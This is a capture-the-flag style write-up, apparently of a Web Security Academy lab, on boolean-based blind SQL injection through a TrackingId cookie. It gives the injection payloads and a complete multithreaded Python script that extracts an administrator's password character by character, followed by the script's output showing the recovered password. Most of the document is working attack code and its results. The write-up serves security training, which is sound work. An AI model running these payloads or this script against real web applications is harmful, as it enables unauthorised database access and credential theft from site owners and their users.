When we initially logged in, we received a cookie set as TrackingId:

Upon refreshing the page, we observed a “Welcome back” message since the cookie was set:

We inserted an AND 1=1 payload and confirmed that we received the “Welcome back” message when the query was correct:

When we set the payload to a false condition, we did not receive the “Welcome back” message:

We first verified whether the users table existed:

' AND (SELECT 'a' FROM users LIMIT 1) = 'a'--

This returned a “Welcome back” message, indicating that the table exists:

Next, we checked whether the administrator user existed:

' AND (SELECT 'a' FROM users WHERE username = 'administrator') = 'a'--

This also returned a “Welcome back” message, confirming that the user exists:

We then verified the password length by bruteforcing. We did not receive the “Welcome back” message in the response when the length exceeded 20:

' AND (SELECT 'a' FROM users WHERE username = 'administrator' AND LENGTH(password) > 20) = 'a'--

This confirmed that the password was 20 characters long.

We then used a modified payload to extract each character of the password:

' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator') = 'a'-- 

SUBSTRING(password,1,1) extracted the first character of the password and compared it to 'a'. If the response returned “Welcome back,” it indicated that the query was correct. We used the following Python3 script to bruteforce the password of the administrator user:

#!/usr/bin/env python3
import requests
import time
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed
 
URL = "https://0ada009403caf46880fe0d6c007c0005.web-security-academy.net/"
COOKIE_TRACKING_BASE = "OxfxGmbTAVTZjo57"
COOKIE_SESSION = "gYKLyzXfx5xu9hJrgCTviSk9SBhAUzvG"
INDICATOR = "Welcome back"
CHARSET = "abcdefghijklmnopqrstuvwxyz0123456789"
MAX_LEN = 30
THREADS = 10
DELAY = 0.05
TIMEOUT = 10
 
HEADERS = {
    "Host": "0ada009403caf46880fe0d6c007c0005.web-security-academy.net",
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate, br",
    "Upgrade-Insecure-Requests": "1",
    "Sec-Fetch-Dest": "document",
    "Sec-Fetch-Mode": "navigate",
    "Sec-Fetch-Site": "none",
    "Sec-Fetch-User": "?1",
    "Priority": "u=0, i",
    "Te": "trailers"
}
 
session = requests.Session()
session.headers.update({"User-Agent": HEADERS["User-Agent"]})
session.verify = True
 
def send_with_payload(payload):
    cookies = {
        "TrackingId": COOKIE_TRACKING_BASE + payload,
        "session": COOKIE_SESSION
    }
    try:
        r = session.get(URL, cookies=cookies, timeout=TIMEOUT)
        return INDICATOR in r.text
    except requests.RequestException:
        return False
 
def length_gt(n):
    payload = f"' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password) > {n}) = 'a'--"
    ok = send_with_payload(payload)
    if DELAY:
        time.sleep(DELAY)
    return ok
 
def char_at_equals(pos, ch):
    payload = f"' AND (SELECT SUBSTRING(password,{pos},1) FROM users WHERE username='administrator') = '{ch}'--"
    ok = send_with_payload(payload)
    if DELAY:
        time.sleep(DELAY)
    return ok
 
def discover_length(max_len=MAX_LEN):
    lo = 0
    hi = max_len
    while lo < hi:
        mid = (lo + hi + 1) // 2
        if length_gt(mid):
            lo = mid
        else:
            hi = mid - 1
    discovered = lo + 1
    if discovered <= max_len:
        return discovered
    return None
 
def extract_password(length, charset=CHARSET, threads=THREADS):
    password = ["?"] * length
    for pos in range(1, length + 1):
        found_char = None
        def check_char(ch):
            try:
                return ch if char_at_equals(pos, ch) else None
            except Exception:
                return None
        with ThreadPoolExecutor(max_workers=threads) as ex:
            futures = {ex.submit(check_char, ch): ch for ch in charset}
            for fut in as_completed(futures):
                result = fut.result()
                if result:
                    found_char = result
                    break
        if found_char is None:
            print(f"[!] Could not find character for position {pos}", file=sys.stderr)
            break
        password[pos - 1] = found_char
        print(f"[+] Found pos {pos}: {found_char} -> {''.join(password)}")
    return "".join(password)
 
def main():
    print("[*] Discovering password length...")
    length = discover_length()
    if not length or length == 0:
        print("[!] Could not determine password length", file=sys.stderr)
        sys.exit(1)
    print(f"[+] Discovered password length: {length}")
    print("[*] Extracting password...")
    pwd = extract_password(length)
    print("\n=== RESULT ===")
    print(f"Password (length {length}): {pwd}")
 
if __name__ == "__main__":
    main()

We executed the script, discovered the password, and successfully retrieved the administrator credentials:

➜  ~ python3 brute.py
[*] Discovering password length...
[+] Discovered password length: 20
[*] Extracting password...
[+] Found pos 1: z -> z???????????????????
[+] Found pos 2: 0 -> z0??????????????????
[+] Found pos 3: n -> z0n?????????????????
[+] Found pos 4: 6 -> z0n6????????????????
[+] Found pos 5: 0 -> z0n60???????????????
[+] Found pos 6: 2 -> z0n602??????????????
[+] Found pos 7: i -> z0n602i?????????????
[+] Found pos 8: x -> z0n602ix????????????
[+] Found pos 9: i -> z0n602ixi???????????
[+] Found pos 10: 4 -> z0n602ixi4??????????
[+] Found pos 11: o -> z0n602ixi4o?????????
[+] Found pos 12: m -> z0n602ixi4om????????
[+] Found pos 13: m -> z0n602ixi4omm???????
[+] Found pos 14: a -> z0n602ixi4omma??????
[+] Found pos 15: m -> z0n602ixi4ommam?????
[+] Found pos 16: 9 -> z0n602ixi4ommam9????
[+] Found pos 17: e -> z0n602ixi4ommam9e???
[+] Found pos 18: 8 -> z0n602ixi4ommam9e8??
[+] Found pos 19: y -> z0n602ixi4ommam9e8y?
[+] Found pos 20: 4 -> z0n602ixi4ommam9e8y4

=== RESULT ===
Password (length 20): z0n602ixi4ommam9e8y4